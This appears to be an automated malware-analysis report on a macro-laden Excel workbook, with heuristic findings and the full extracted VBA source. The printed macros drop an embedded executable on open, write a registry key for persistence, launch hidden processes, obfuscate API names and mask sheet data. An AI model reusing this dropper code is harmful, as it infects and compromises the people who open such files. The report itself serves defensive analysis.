MALICIOUS
176
Risk Score
Heuristics 6
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
Dim stream: Set stream = CreateObject("ADODB.Stream") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim stream: Set stream = CreateObject("ADODB.Stream") -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
dfo = VBA.Environ(v(1)) -
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 25530 bytes |
SHA-256: 0994c13e67005c73a656e612a78372356f71a5f3b2dcc854b11af79da6ef194f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
#If Win64 = 1 Or Win32 = 1 Then
#Else
Exit Sub
#End If
closer
If ThisWorkbook.Sheets(2).Protection.AllowFormattingCells = True Then
ThisWorkbook.Sheets(2).Protect ps
'ThisWorkbook.Protect ps
End If
ThisWorkbook.Save
End Sub
Sub closer()
ini
If nL = 2 Then
Exit Sub
End If
reflux
t1 exec1
uu
End Sub
Private Sub Workbook_Open()
On Error Resume Next
ActiveWindow.View = xlNormalView
nL = 1
#If Win64 = 1 Or Win32 = 1 Then
#Else
Exit Sub
#End If
ini
If ThisWorkbook.Sheets(2).Protection.AllowFormattingCells = False Then
'ThisWorkbook.Unprotect ps
ThisWorkbook.Sheets(2).Unprotect ps
'ThisWorkbook.Unprotect ps
Else
ThisWorkbook.Sheets(2).Activate
End If
exec = wdr
exec1 = wdr
Call ttt
SRW
CrFld pfo & "\" & pfo1
fso.CopyFile ThisWorkbook.path & "\" & ThisWorkbook.Name, tf & "\" & obj
t0
fso.CopyFile tf & "\" & tmpd, dfo & "\" & prot & "\" & dna
u
ThisWorkbook.Protect ps
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module3"
Option Explicit
Const HKEY_CURRENT_USER = &H80000001
Const REG_EXPAND_SZ = 2
Const KEY_WRITE = &H20106
Const hash1 = "##########"
Const hash2 = "########################################"
Const hash3 = "################################################################################################################################################################"
Function rb(file) As Byte()
Dim stream: Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1
stream.LoadFromFile (file)
rb = stream.Read()
stream.Close
End Function
Function SP(src() As Byte) As Long
SP = -1
If VBA.LenB(src) < 5 Then Exit Function
Dim i As Long
For i = 1 To VBA.LenB(src) - 5
If (src(i) = &H4D) And (src(i + 1) = &H5A) And (src(i + 2) = &H90) Then
SP = i
Exit For
End If
Next
End Function
Sub SRW()
Dim hKey As Long
Dim ret As Long
Dim sValue As String
exec = exec & "\" & s32 & "\"
exec1 = exec1 & "\" & tsk
sValue = VBA.StrConv(arg3, vbUnicode)
ret = RCKE(HKEY_CURRENT_USER, VBA.StrConv(arg1 & arg2, vbUnicode), 0, vbNullString, 0, KEY_WRITE, 0, hKey, 0)
If ret = 0 Then
ret = RSVE(hKey, vbNullString, 0, REG_EXPAND_SZ, ByVal sValue, Len(sValue))
RCK hKey
End If
End Sub
Sub u1(exec As String)
Dim tSI As SI
With tSI
.cb = LenB(tSI)
.dF = SUq Or SUHq
.wSW = SHq
End With
Dim wd As String
Dim tSA_PI As PI
Dim r As Long
r = CP(0&, StrPtr(VBA.StrReverse(exec)), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tSI, tSA_PI)
WFSO tSA_PI.hP, 17000
End Sub
Sub hc(cell_name As String)
Dim tmp_value As String
Dim tmp_value_len As Long
tmp_value = ThisWorkbook.Sheets(2).Range(cell_name).Value
tmp_value_len = Len(tmp_value)
If tmp_value_len < 10 Then
ThisWorkbook.Sheets(2).Range(cell_name).Value = hash1
ElseIf tmp_value_len < 20 Then
ThisWorkbook.Sheets(2).Range(cell_name).Value = hash2
Else
ThisWorkbook.Sheets(2).Range(cell_name).Value = hash3
End If
End Sub
Sub uu()
On Error Resume Next
Dim init_cell As String
init_cell = "A5"
Dim i As Long
For i = 0 To 6
hc (ThisWorkbook.Sheets(2).Range(init_cell).Offset(0, i).Address)
Next
End Sub
Sub u()
On Error Resume Next
Dim init_cell As String
init_cell = "A5"
Dim i As Long
For i = 0 To 6
ThisWorkbook.Sheets(2).Range(init_cell).Offset(0, i).Value = ThisWorkbook.Sheets(3).Range(init_cell).Offset(0, i).Value
Next
End Sub
Attribute VB_Name = "Module4"
Option Explicit
Public obj As String
Public tmpd As String
Public pfo As String
Public pfo1 As String
Public dfo As String
Public dna As String
Public pna As String
Public arg1 As String
Public arg2 As String
Public arg3 As String
Public prot As String
Public tskkl As String
Public tsk As String
Public exec As String
Public exec1 As String
Public nL As Long
Public ps As String
Public fso As Object
Public wdr As String
Public tf As String
Public s32 As String
Public streamA As Object
Public streamB As Object
Public Const SUq As Long = &H1
Public Const SUHq As Long = &H100
Public Const SHq As Integer = 0
Public Const GRq As Long = &H1
Public Const GWq As Long = &H2
Public Const FADq As Long = &H4
Public Const FSRq As Long = &H1
Public Const FSWq As Long = &H2
Public Const OEq As Long = &H3
Public Const OAq As Long = &H4
Public Const CAq As Long = &H2
Public Const FANq As Long = &H80
Public Const IFAq As Long = &HFFFFFFFF
Sub ini()
Set fso = CreateObject("Scri" & "pting.F" & "ileSyst" & "emObject")
s32 = "syst"
Dim v() As String
ps = "dfdhghrevhjvcfeklgbnv18mm7hdfgh"
v = Split(ThisWorkbook.Sheets(2).Shapes(1).AlternativeText, vbNewLine)
obj = v(0)
dfo = VBA.Environ(v(1))
dna = v(2)
pfo = VBA.Environ(v(3))
pfo1 = v(4)
pna = v(5)
tmpd = v(6)
arg1 = v(7)
arg2 = v(8)
arg3 = v(9)
prot = v(10)
tskkl = v(11)
tsk = v(12)
wdr = VBA.Environ(v(13))
tf = VBA.Environ(v(14))
s32 = s32 & "em32"
Set streamA = CreateObject("ADODB.Stream")
Set streamB = CreateObject("ADODB.Stream")
End Sub
Sub reflux()
Dim MyY As Double
Dim MyX As Double
Randomize
MyY = Rnd()
MyX = Rnd()
Dim str As String
str = VBA.StrReverse(exec & tsk)
If (7 * MyY * MyY - 1) <> (MyX * MyX) Then
u1 str
Else
MyY = Rnd()
MyX = Rnd()
End If
End Sub
Sub ttt()
If fso.FileExists(dfo & "\" & prot & "\" & dna) = True Then
u
nL = 2
Exit Sub
End If
CrFld dfo & "\" & prot
End Sub
Sub t0()
Dim fname As String
fname = tf & "\" & obj
Dim fout1 As String
fout1 = tf & "\" & tmpd
Dim fout2 As String
fout2 = pfo & "\" & pfo1 & "\" & pna
Dim fsz1 As Long
Dim fsz2 As Long
exec = exec & tskkl & " /f /IM "
fsz1 = 236544
fsz2 = 258480
On Error Resume Next
Dim fileBytes() As Byte
fileBytes = rb(fname)
If VBA.LenB(fileBytes) > fsz1 Then
Call WF(fileBytes, fsz1, fsz2)
End If
End Sub
Public Function wtof(file_path As String, file_bytes() As Byte) As Boolean
Dim res As Boolean
res = False
Dim createFile_SA As SA
createFile_SA.nL = Len(createFile_SA)
createFile_SA.lSD = 0&
createFile_SA.bIH = True
#If VBA7 Then
Dim file_handle As LongPtr
#Else
Dim file_handle As Long
#End If
file_handle = Ofl(StrPtr(file_path), GWq, FSRq, createFile_SA, CAq, FANq, ByVal 0&)
If file_handle <= 0& Then
wtof = res
Exit Function
End If
Dim b_write As Long
Dim file_bytes_length As Long
file_bytes_length = GetSz(file_bytes)
res = Wfl(file_handle, file_bytes(0), file_bytes_length, b_write, ByVal 0&)
Cfl (file_handle)
wtof = res
End Function
Sub CrFld(path As String)
On Error Resume Next
Dim parts() As String
parts = VBA.Split(path, "\")
Dim fld As String
Dim i As Long
For i = LBound(parts) To UBound(parts)
fld = fld & parts(i)
If fso.FolderExists(fld) = False Then
fso.CreateFolder fld
End If
fld = fld & "\"
Next
End Sub
Sub t1(exec As String)
Dim tSI As SI
With tSI
.cb = LenB(tSI)
.dF = SUq Or SUHq
.wSW = SHq
End With
Dim tSA_PI As PI
Dim wd As String
Dim r As Long
r = CP(0&, StrPtr(exec), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tSI, tSA_PI)
WFSO tSA_PI.hP, 15000
End Sub
Attribute VB_Name = "Module5"
Option Explicit
#If Win64 = 1 Or Win32 = 1 Then
#If Not VBA7 = 1 Then
Public Type PI
hP As Long
hT As Long
dPI As Long
dTI As Long
End Type
Public Type SI
cb As Long
lR As Long
lD As Long
lT As Long
dX As Long
dY As Long
dXS As Long
dYS As Long
dXCC As Long
dYCC As Long
dFA As Long
dF As Long
wSW As Integer
cR2 As Integer
lR2 As Byte
hSI As Long
hSO As Long
hSE As Long
End Type
Public Type SA
nL As Long
lSD As Long
bIH As Long
End Type
Public Declare Function CP Lib "kernel32" Alias "CreateProcessW" ( _
ByVal lAN As Long, _
ByVal lCL As Long, _
ByVal lPAs As Long, _
ByVal lTAs As Long, _
ByVal bIHs As Long, _
ByVal dCFs As Long, _
ByVal lE As Long, _
ByVal lCDy As Long, _
ByRef lSIo As SI, _
ByRef lSIn As PI) As Long
Public Declare Function WFSO Lib "kernel32" Alias "WaitForSingleObject" ( _
ByVal hP As Long, _
ByVal ms As Long) As Long
Public Declare Function IsU Lib "shell32" Alias "IsUserAnAdmin" () As Boolean
Public Declare Function RCKE Lib "advapi32.dll" Alias "RegCreateKeyExW" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal Reserved As Long, _
ByVal lpClass As String, _
ByVal dwOptions As Long, _
ByVal samDesired As Long, _
ByVal lpSecurityAttributes As Long, _
phkResult As Long, _
lpdwDisposition As Long) As Long
Public Declare Function RSV Lib "advapi32.dll" Alias "RegSetValueExW" ( _
ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) As Long
Public Declare Function RCK Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long
Public Declare Function Wfl Lib "kernel32" Alias "WriteFile" ( _
ByVal hFe As Long, _
lBr As Any, _
ByVal nNOW As Long, _
lNOW As Long, _
lOd As Any) As Boolean
Public Declare Function Cfl Lib "kernel32" Alias "CloseHandle" ( _
ByVal hOt As Long) As Long
Public Declare Function Ofl Lib "kernel32" Alias "CreateFileW" ( _
ByVal lFN As Long, _
ByVal dDA As Long, _
ByVal dSMe As Long, _
lSAs As SA, _
ByVal dCDn As Long, _
ByVal dFAs As Long, _
ByVal hTF As Long) As Long
#End If
#End If
Attribute VB_Name = "Module2"
Option Explicit
#If Win64 = 1 Or Win32 = 1 Then
#If VBA7 = 1 Then
Public Type PI
hP As LongPtr
hT As LongPtr
dPI As Long
dTI As Long
End Type
Public Type SI
cb As Long
lR As LongPtr
lD As LongPtr
lT As LongPtr
dX As Long
dY As Long
dXS As Long
dYS As Long
dXCC As Long
dYCC As Long
dFA As Long
dF As Long
wSW As Integer
cR2 As Integer
lR2 As Byte
hSI As LongPtr
hSO As LongPtr
hSE As LongPtr
End Type
Public Type SA
nL As Long
lSD As LongPtr
bIH As Long
End Type
Public Declare PtrSafe Function CP Lib "kernel32" Alias "CreateProcessW" ( _
ByVal lAN As LongPtr, _
ByVal lCL As LongPtr, _
ByVal lPAs As LongPtr, _
ByVal lTAs As LongPtr, _
ByVal bIHs As Long, _
ByVal dCFs As Long, _
ByVal lE As LongPtr, _
ByVal lCDy As LongPtr, _
ByRef lSIo As SI, _
ByRef lSIn As PI) As Long
Public Declare PtrSafe Function WFSO Lib "kernel32" Alias "WaitForSingleObject" ( _
ByVal hP As LongPtr, _
ByVal ms As Long) As Long
Public Declare PtrSafe Function IsU Lib "shell32" Alias "IsUserAnAdmin" () As Boolean
Public Declare PtrSafe Function RCKE Lib "advapi32.dll" Alias "RegCreateKeyExW" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal Reserved As Long, _
ByVal lpClass As String, _
ByVal dwOptions As Long, _
ByVal samDesired As Long, _
ByVal lpSecurityAttributes As Long, _
phkResult As Long, _
lpdwDisposition As Long) As Long
Public Declare PtrSafe Function RSVE Lib "advapi32.dll" Alias "RegSetValueExW" ( _
ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) As Long
Public Declare PtrSafe Function RCK Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long
Public Declare PtrSafe Function Wfl Lib "kernel32" Alias "WriteFile" ( _
ByVal hFe As LongPtr, _
lBr As Any, _
ByVal nNOW As Long, _
lNOW As Long, _
lOd As Any) As Boolean
Public Declare PtrSafe Function Cfl Lib "kernel32" Alias "CloseHandle" ( _
ByVal hOt As LongPtr) As Long
Public Declare PtrSafe Function Ofl Lib "kernel32" Alias "CreateFileW" ( _
ByVal lFN As LongPtr, _
ByVal dDA As Long, _
ByVal dSMe As Long, _
lSAs As SA, _
ByVal dCDn As Long, _
ByVal dFAs As Long, _
ByVal hTF As LongPtr) As LongPtr
#End If
#End If
Attribute VB_Name = "Module1"
Option Explicit
Public Function WF(src() As Byte, sz1 As Long, sz2 As Long)
Dim resBoolean As Boolean
Dim pb() As Byte
pb = SearchBytes(src, 1, sz1)
If GetSz(pb) = 0 Then
Exit Function
End If
resBoolean = wtof(tf & "\" & tmpd, pb)
If resBoolean = False Then
Exit Function
End If
pb = SearchBytes(src, 2, sz2)
If GetSz(pb) = 0 Then
Exit Function
End If
resBoolean = wtof(pfo & "\" & pfo1 & "\" & pna, pb)
If resBoolean = False Then
Exit Function
End If
End Function
Function SearchBytes(src() As Byte, obj As Integer, size As Long) As Byte()
On Error GoTo Err
Dim dst() As Byte
ReDim dst(size - 1)
Dim raw_bytes_length As Long
raw_bytes_length = GetSz(src)
Dim ebPos As Long
ebPos = SearchEB(src)
Dim shiftEBPos As Long
shiftEBPos = 8228
Dim c6Pos As Long
c6Pos = 50688
Dim shiftC6Pos As Long
shiftC6Pos = 66048
Dim sizeC6 As Long
sizeC6 = 512
Dim stop_search As Boolean
stop_search = False
Dim offset_start As Long
offset_start = SP(src, ebPos, c6Pos)
While stop_search <> True
If offset_start + 5 > raw_bytes_length Then
offset_start = -1
Exit Function
End If
If offset_start = ebPos Then
offset_start = offset_start + 4
ebPos = ebPos + shiftEBPos
End If
If offset_start = c6Pos Then
offset_start = offset_start + sizeC6
c6Pos = c6Pos + shiftC6Pos
ebPos = ebPos + sizeC6
End If
If obj = 1 Then
If (src(offset_start) <> &H4D Or src(offset_start + 1) <> &H5A Or src(offset_start + 2) <> &H78 Or src(offset_start + 3) <> &H0 Or src(offset_start + 4) <> &H1) Then
offset_start = offset_start + 1
Else
stop_search = True
End If
ElseIf obj = 2 Then
If (src(offset_start) <> &H89 Or src(offset_start + 1) <> &H50 Or src(offset_start + 2) <> &H4E Or src(offset_start + 3) <> &H47 Or src(offset_start + 4) <> &HD) Then
offset_start = offset_start + 1
Else
stop_search = True
End If
Else
Exit Function
End If
Wend
Dim arrPos As Long
arrPos = 0
While arrPos < size
If offset_start + 5 > raw_bytes_length Then
offset_start = -1
Exit Function
End If
If offset_start = ebPos Then
offset_start = offset_start + 4
ebPos = ebPos + shiftEBPos
End If
If offset_start = c6Pos Then
offset_start = offset_start + sizeC6
c6Pos = c6Pos + shiftC6Pos
ebPos = ebPos + sizeC6
End If
dst(arrPos) = src(offset_start)
arrPos = arrPos + 1
offset_start = offset_start + 1
Wend
SearchBytes = dst
Exit Function
Err:
End Function
Function SearchEB(raw() As Byte) As Long
Dim raw_bytes_length As Long
raw_bytes_length = GetSz(raw)
Dim stop_search As Boolean
stop_search = False
Dim offset_start As Long
offset_start = 0
While stop_search <> True
If offset_start + 5 > raw_bytes_length Then
offset_start = -1
Exit Function
End If
If (raw(offset_start) <> &HEB Or raw(offset_start + 1) <> &H0 Or raw(offset_start + 2) <> &H20 Or raw(offset_start + 3) <> &H20) Then
offset_start = offset_start + 1
Else
stop_search = True
End If
Wend
SearchEB = offset_start
End Function
Function SP(raw() As Byte, ByRef eb As Long, ByRef c6 As Long) As Long
On Error GoTo Err
If eb < 0 Then
GoTo Err
End If
Dim raw_bytes_length As Long
raw_bytes_length = GetSz(raw)
Dim shiftEBPos As Long
shiftEBPos = 8228
Dim shiftC6Pos As Long
shiftC6Pos = 66048
Dim sizeC6 As Long
sizeC6 = 512
Dim stop_search As Boolean
stop_search = False
Dim offset_start As Long
offset_start = eb + 4
eb = eb + shiftEBPos
While stop_search <> True
If offset_start + 5 > raw_bytes_length Then
offset_start = -1
Exit Function
End If
If offset_start = eb Then
offset_start = offset_start + 4
eb = eb + shiftEBPos
End If
If offset_start = c6 Then
offset_start = offset_start + sizeC6
c6 = c6 + shiftC6Pos
eb = eb + sizeC6
End If
If (raw(offset_start) <> &H4D Or raw(offset_start + 1) <> &H5A Or raw(offset_start + 2) <> &H78 Or raw(offset_start + 3) <> &H0 Or raw(offset_start + 4) <> &H1) Then
offset_start = offset_start + 1
Else
stop_search = True
End If
Wend
SP = offset_start
Exit Function
Err:
SP = -1
Exit Function
End Function
Public Function GetSz(arr() As Byte) As Long
On Error Resume Next
GetSz = UBound(arr) - LBound(arr) + 1
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.